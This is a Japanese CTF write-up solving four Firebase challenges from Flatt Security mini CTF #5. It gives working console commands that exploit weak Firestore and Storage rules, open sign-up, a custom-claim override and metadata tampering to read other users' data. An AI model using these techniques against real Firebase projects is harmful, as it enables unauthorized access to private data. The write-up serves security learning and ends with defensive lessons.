Flatt Security mini CTF #5 Writeup
久しぶりのwriteupです。
これに参加してきました。FirebaseをテーマにしたCTFは多分初じゃないでしょうか。 3完で3位で結構悔しいので、また機会があればリベンジしたいですね。
1問目 Internal
add-flag.js
にflagを追加する処理があるようです。
await firebase.firestore().collection('flags').doc('flag').set({ flag: FLAG });
つまり、/flags/flag
が読めれば良いということになります。
次にFirestoreのセキュリティルールを読みます。重要なのは firestore.rules
のここの部分
match /flags/flag { allow get: if ( request.auth != null && // メールアドレスのドメインが @flatt.example.test ではない場合は拒否 request.auth.token.email.matches("^.+@flatt.example.test$") ); }
^.+@flatt.example.test$
にマッチするメールアドレスのアカウントを持っていればよいので、
- Firebase Authenticationでアカウント作成が許可されている
- メールアドレスの認証が必須でない
を満たしていればOKです。こればかりはFirebase Authenticationの設定依存なので実際にAPIを叩きましょう。
~$ http POST "https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=AIzaSy..." email="aaaa@flatt.example.test" password="H0geh0ge"
これで200が返ってくるので、使用したメールアドレスとパスワードを使ってログインするとflagが降ってきます。
余談:http
コマンドはこれです。最近教えてもらって使い始めたんですが、結構便利です
2問目 Posts
await firebase.firestore().collection('privatePosts').doc('0').collection(adminUserId).add({ name: 'FLAG', body: FLAG, createdBy: adminUserId, });
今度は privatePosts/0/{adminUserId}
以下にあるようです。
セキュリティルールは
match /privatePosts/0/{uid}/{postId} { allow read: if ( request.auth != null );
request.auth != null
は要は「認証したユーザーならなんでもOK」という意味なので、adminのuidがわかれば良いです。
add-flag.js
にはこんな処理もあります。
await firebase.firestore().collection('publicPosts').add({ name: 'admin@flatt.tech', body: "Hello, I'm admin!", createdBy: adminUserId, });
つまりadminのuidはpublicPostsから得られます。
read = get + listなので、 postId
はcollectionsをlistすることでそのまま得られます。
teaser問題のSDKローダースニペットを拝借しましょう。
(async () => { const load = (url) => new Promise((resolve) => { const script = document.createElement("script"); script.setAttribute("src", url); script.onload = resolve; document.body.appendChild(script); }); await load("https://www.gstatic.com/firebasejs/8.10.1/firebase.js"); })();
ここで一つTIPSを紹介しておくと、FirebaseのAPI keyなどのconfigは、Firebase Hostingを利用している場合はWebサイトから直接取れます。今回のようにフロントのソースコードも配布されている場合はあまり意味がありませんが、ブラックボックスでやる時は重宝します。
https://{hostname}/__/firebase/init.js
にアクセスして、firebase.initializeApp
から始まる部分をコピペしてコンソールで実行すれば準備完了です。
publicPostsを漁ります。
(await firebase.firestore().collection('publicPosts').get()).forEach(el => console.log(el.data()))
データがたくさんある時はfilterをかけましょう。
(await firebase.firestore().collection('publicPosts').get()).docs.map(el => el.data()).filter(el => el.name === 'admin@flatt.tech')[0]
adminのuidが e3rd5IxFaOeTb6yFGsA2IRFEw9V2
だとわかりました。
あとはprivatePostsの中身を見るだけです。
(await firebase.firestore().collection('privatePosts/0/e3rd5IxFaOeTb6yFGsA2IRFEw9V2').get()).docs.forEach(el => console.log(el.data()))
3問目 Flatt Clicker
await firebase.firestore().collection('flags').doc('flag').set({ flag: FLAG, });
毎度おなじみ firestore.rules
を確認します。
match /flags/flag { allow get: if ( request.auth != null && request.auth.token.tier == 'HACKER' ); }
ここが突破できれば良さそうです。request.auth.token
はFirebase Authにおけるcustom claimを指します。
custom claimを設定するにはAdmin SDKでの操作が必要です。firebase.json
を見ると functions/
以下にCloud Functionsもあることがわかります。
案の定こんな関数が含まれていました。
export const updateTier = functions .firestore .document("/users/{userId}") .onUpdate(async (change, ctx) => { const data = change.after.data(); try { let tier; if (data.clicks < 10) { tier = "BRONZE"; } else if (data.clicks < 100) { tier = "SILVER"; } else if (data.clicks < 3133333337) { tier = "GOLD"; } else { tier = "HACKER"; } await getAuth().setCustomUserClaims(ctx.params.userId, { tier, ...data, }); return "OK"; } catch (e) { functions.logger.error(e); throw new functions.auth.HttpsError("unavailable", String(e)); } });
functions.firestore.document(...)
はFirestoreのトリガーを指します。今回は onUpdate
なので、/users/{userId}
が更新された時に走る処理のようです。
firestore.rules
をチェックすると、
match /users/{uid} { ... allow update: if ( request.auth != null && request.auth.uid == uid && request.resource.data.keys().hasAll(['clicks']) && request.resource.data.clicks is int && request.resource.data.clicks == resource.data.clicks + 1 ); }
とあります。読み解くと、
- updateするデータにはclicks attributeが存在し、
- clicksは整数値かつ現在の値+1である必要がある
となります。しかしfunctionsをよくみてみると、data
はスプレッド構文で後ろから上書きしており、かつ/users/{uid}
におけるtier
attributeへの書き込みはセキュリティルールで制限されていないので、tier
が上書き可能です。
必要な情報は揃ったので、以下手順です。
まず適当なユーザーを作成し、ログインします。
2問目と同じ方法でSDKを初期化します。
/users/{userId}
をアップデートします。自身のlocalIdは https://identitytoolkit.googleapis.com/v1/accounts:lookup
へのリクエストに対するレスポンスに含まれています。
await firebase.firestore().doc('users/Gt0J4RPYZGRrlwtbIiJ8Xct5KIG2').update({clicks: 2, tier: 'HACKER'})
flagを読みます。
(await firebase.firestore().doc('flags/flag').get()).data()
4問目 NoteExporter
await firebase.firestore().collection('users').doc(adminUserId).collection('notes').add({ note: FLAG, });
flagは users/{adminUid}/notes
以下にあるようです。
match /users/{userId} { allow read: if ( request.auth != null ); match /notes/{noteId} { allow read: if ( request.auth != null && request.auth.uid == userId );
ようやくまともなルールが出てきました。
adminのnotesを読むためにはadminとしてログインしなければなりません。3問目と同じく、怪しげなCloud Functionsがあるので中身を確認します。
export const exportNote = functions .https .onCall(async (data, ctx) => { try { if (!ctx.auth) { throw new functions.auth.HttpsError("permission-denied", "error"); } const doc = await getFirestore().doc(data.path).get(); const docData = doc.data(); if (docData === undefined) { throw new functions.auth.HttpsError("unavailable", "error"); } const bucket = getStorage().bucket(); const userId = doc.ref.path.split("/")[1]; const storagePath = `exports/${userId}/${uuidv4()}.json`; await bucket.file(storagePath).save(JSON.stringify(docData)); const adminUserId = ( await getAuth().getUserByEmail("admin@flatt.tech") ).uid; await bucket.file(storagePath).setMetadata({ metadata: { allowedUserId: adminUserId, }, }); return { storagePath, }; } catch (e) { functions.logger.error(e); throw new functions.auth.HttpsError("unavailable", String(e)); } });
data.path
が自由に指定できるので任意のドキュメントをCloud Storageにexportできます。storageのルールも読んでみます。
match /b/{bucket}/o { match /exports/{userId}/{fileName} { allow get: if ( request.auth != null && ( request.auth.uid == userId || request.auth.uid == resource.metadata.allowedUserId ) ); // MEMO: 各ユーザーのフォルダは Cloud Functions からしか書き込めないないようにしておく allow write: if false; } // MEMO: それ以外のフォルダは将来的な機能拡張のために書き込めるようにしておく match /exports/{free=**} { allow write: if ( request.auth != null && request.resource.size < 5 * 1024 ); } }
match /exports/{free=**}
のセクションがあるので、match /exports/{userId}/{fileName}
の allow write: if false;
は意味を成しません。すなわちメタデータも書き込み可能で、allowedUserId
が自身のuidであればデータを読めるようです。
また、Cloud Functions中に
export const createLog = functions .region("asia-northeast1") .firestore .document("users/{userId}/notes/{noteId}") .onCreate(async (snapshot) => { try { await getFirestore().collection("logs").add({ path: snapshot.ref.path, createdAt: new Date().toISOString(), }); } catch (e) { functions.logger.error(e); throw new functions.auth.HttpsError("unavailable", String(e)); } });
とあります。/users/{userid}/notes/{noteId}
が作成されたときにdocumentのpathが logs
に記録され、
match /logs/{logId} { allow read: if ( request.auth != null ); }
このデータは認証済みユーザーから読み放題です。これで必要な情報が揃いました。
まず適当なdocumentをexportします。documentが存在している必要があるので、自身の users/{userId}
にしてみます。
https.onCall
で定義されたCallable Functionsの呼び出し方は firebase.functions().httpsCallable(functionName)(args)
です。
await firebase.functions().httpsCallable('exportNote')({path: 'users/gifWUDgst1fykPwaGlJ4RpkP5Y13'})
レスポンスの storagePath
にpathが入っています。
次に保存されたオブジェクトのmetadataを確認します。
await (await firebase.storage().ref().child('exports/gifWUDgst1fykPwaGlJ4RpkP5Y13/c70de088-b3d0-4a22-a939-91e515498738.json')).getMetadata()
customMetadata.allowedUserId
にadminのuidが入っています。6W7jG2C619g4BQggdofcIR2OKZv2
だとわかりました。
ついでにupdateMetadataができることを確認しておきます。1
await firebase.storage().ref().child('exports/gifWUDgst1fykPwaGlJ4RpkP5Y13/c70de088-b3d0-4a22-a939-91e515498738.json').updateMetadata({customMetadata: {allowedUserId: 'gifWUDgst1fykPwaGlJ4RpkP5Y13'}})
updateMetadata
の引数は {customMetadata: metadata}
の形で指定する必要があることに注意しましょう。
adminのnoteを特定します。
(await firebase.firestore().collection('logs').get()).docs.map(el => el.data()).filter(el => el.path.includes('6W7jG2C619g4BQggdofcIR2OKZv2'))[0]
users/6W7jG2C619g4BQggdofcIR2OKZv2/notes/g7xeDRCXpLi59EDUsWBr
だとわかりました。あとは上記の手順を繰り返します。
exportします。
await firebase.functions().httpsCallable('exportNote')({path: 'users/6W7jG2C619g4BQggdofcIR2OKZv2/notes/g7xeDRCXpLi59EDUsWBr'})
metadataを書き換えます。
await firebase.storage().ref().child('exports/6W7jG2C619g4BQggdofcIR2OKZv2/18513eaa-0b64-4bb8-b17d-a1c55a5ed35d.json').updateMetadata({customMetadata: {allowedUserId: 'gifWUDgst1fykPwaGlJ4RpkP5Y13'}})
データにアクセスします。getDownloadURL
でアクセス可能なURLを発行できます。
await (await firebase.storage().ref().child('exports/6W7jG2C619g4BQggdofcIR2OKZv2/18513eaa-0b64-4bb8-b17d-a1c55a5ed35d.json').getDownloadURL())
終わりに
前回のmini CTFでAWSがテーマになっていたことを思い出しました。
- Incognitoでuser attributeが自由に指定できる
- S3 objectのContent-Typeが書き換えられる
というもので、これらはいずれもAWSの仕様を正しく理解していないために起こった問題でした。
今回もFirebase Authenticationでアカウントの作成を許可していたり、セキュリティルールの仕様への理解不足に起因する問題をテーマとしています。
例えばFirestoreのセキュリティルールにはきちんとしたドキュメントがあるのですが、
その複雑さゆえに、いざアプリケーションを書くとなると脆弱性を埋め込んでしまうケースが多いです。
FirestoreはドキュメントDBなので、スキーマレスのデータを簡単に格納することができます。 しかし特定のattributeへのアクセスのみを禁止することができないなど、「これできないの?」と思うような仕様が潜んでいます。 アプリを設計する段階でFirestoreのスキーマを考慮しないと、そもそもセキュリティリスクなしには実現できなかったり、開発時に非常に大きな負担(複雑なクエリを書く必要など)が生じることもあります。
このように、新しいサービスを利用するときはそのサービスが持つ特性や設計思想を理解して初めて、その真価を引き出すことができます。 AWSやFirebaseに限らず、便利なサービスは多機能ゆえに思わぬところに落とし穴があります。ドキュメントを読み、正しく仕様を理解することがとても重要です。
作問してくださった@Sz4rnyさん、Flatt Securityの皆さんありがとうございました!リベンジしたいので次回作お待ちしています!2